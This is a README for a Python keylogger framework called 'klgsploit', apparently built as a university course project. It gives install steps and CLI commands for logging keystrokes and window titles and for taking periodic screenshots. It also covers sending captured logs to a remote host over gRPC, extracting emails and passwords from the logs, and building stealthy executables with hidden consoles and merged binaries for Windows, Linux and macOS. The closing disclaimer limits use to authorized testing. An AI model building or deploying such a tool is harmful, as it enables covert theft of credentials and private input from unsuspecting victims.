A keylogger implemented in Python using advanced tools and architectural patterns.
This project was designed as an all-in-one keylogging framework, similar in spirit to a modular multi-tool. The repository integrates multiple functionalities:
- Keylogging
- Saving captured keystrokes with window information into a text file
- Screenshot capture of the active window
- gRPC communication for remote data transmission and server-side actions
- Executable generation with configurable options
- Cross-platform support
- Prebuilt Linux executables available in the
buildfolder
An Observer Design Pattern was implemented within the classifier module to trigger notifications when sensitive data (emails, passwords, etc.) is detected.
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install pynput pillow mss python-xlib grpcio grpcio-tools pyinstaller ttkbootstrapOr install packages individually:
pip install pynput
pip install pillow
pip install mss
pip install python-xlib
pip install grpcio
pip install grpcio-tools
pip install pyinstaller
pip install ttkbootstrapkeylogger-advprog/
├── restructured/ # Main source code
│ ├── klgsploit_cli.py # CLI version
│ ├── klgsploit_gui.py # GUI version
│ ├── keylogtest.py # Linux keylogger module
│ ├── keylogwin.py # Windows keylogger module
│ ├── capture.py # Screenshot module
│ ├── classifier.py # Email/password extractor + AI logic
│ ├── grpcsrv.py # gRPC server
│ ├── cln.py # gRPC client
│ └── protos/ # Protobuf definitions
│ ├── server.proto
│ ├── server_pb2.py
│ └── server_pb2_grpc.py
├── build/ # Compiled executables
│ ├── klgsploit_cli
│ └── klgsploit_gui
├── classifier.py # Standalone classifier
├── keylog.txt # Output log file
└── README.md
Navigate to the source folder:
cd restructuredRun keylogger:
python3 klgsploit_cli.py --runRun with timestamps and window titles:
python3 klgsploit_cli.py --run -t -mRun with screenshots:
python3 klgsploit_cli.py --run -s -i 30Generate Linux executable:
python3 klgsploit_cli.py --genexe mylogger -lnxGenerate Windows executable:
python3 klgsploit_cli.py --genexe mylogger -winGenerate with all features:
python3 klgsploit_cli.py --genexe superlogger -lnx -t -m -sClassify log file:
python3 klgsploit_cli.py --classify keylog.txtStart gRPC server:
python3 klgsploit_cli.py --server --grpc-port 50051Run with remote logging:
python3 klgsploit_cli.py --run --grpc 192.168.1.100:50051| Option | Description |
|---|---|
--run |
Run keylogger |
--genexe NAME |
Generate executable |
-t |
Enable timestamps |
-m |
Log window titles |
-s |
Enable screenshots |
-i SECONDS |
Screenshot interval |
-o FILE |
Output file |
-win |
Target Windows |
-lnx |
Target Linux |
-mac |
Target macOS |
--grpc HOST:PORT |
Send logs via gRPC |
--server |
Start gRPC server |
--classify FILE |
Extract sensitive data |
--merge EXE1 EXE2 |
Merge executables |
--noconsole |
Hide console |
--onefile |
Single file executable |
cd restructured
python3 klgsploit_gui.pyGUI Features:
- Keylogger configuration
- Screenshot controls
- Executable generation
- Log classification
- Log viewer
- gRPC server receiver
./build/klgsploit_cli --help
./build/klgsploit_guiGenerate protobuf files:
cd restructured
python3 -m grpc_tools.protoc -Iprotos \
--python_out=protos \
--grpc_python_out=protos \
protos/server.protoStart server:
python3 klgsploit_cli.py --server --grpc-port 50051Run client with remote logging:
python3 klgsploit_cli.py --run --grpc IP:PORTThe classifier extracts potential emails and passwords from logs using regular expressions.
Standalone usage:
python3 classifier.py keylog.txtOutput:
- JSON file containing detected data
- Counts and statistics
| Platform | Keylogging | Screenshots | Window Titles |
|---|---|---|---|
| Linux | pynput + xlib | mss / pillow | xlib |
| Windows | pynput | pillow | ctypes / pygetwindow |
| macOS | pynput | pillow | appkit / quartz |
CLI version:
cd restructured
python3 -m PyInstaller --onefile --name klgsploit_cli \
--distpath ../build klgsploit_cli.pyGUI version:
python3 -m PyInstaller --onefile --noconsole \
--name klgsploit_gui --distpath ../build klgsploit_gui.py- pynput issues on Linux:
sudo usermod -aG input $USER- Missing gRPC modules:
pip install grpcio grpcio-tools- Screenshot problems:
pip install pillow mss- Missing tkinter:
Install python3-tk (Debian/Ubuntu) or tk (Arch).
This tool is intended strictly for educational purposes and authorized security testing.
Unauthorized use of keylogging software is illegal.
The authors assume no responsibility for misuse.
Always obtain proper authorization before testing any system.
Developed as part of an advanced programming course project.
- Wail Sari Bey
- Ines Allag
- Anes Ragoub
- Amani Sahraoui